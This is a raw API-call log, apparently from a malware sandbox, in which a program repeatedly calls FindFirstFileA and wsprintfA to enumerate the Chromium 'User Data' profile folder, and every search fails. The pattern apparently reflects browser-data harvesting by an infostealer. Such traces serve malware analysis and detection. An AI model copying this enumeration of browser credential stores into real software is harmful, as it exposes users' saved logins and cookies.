[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.757] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.757] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.758] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.758] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.759] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.759] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
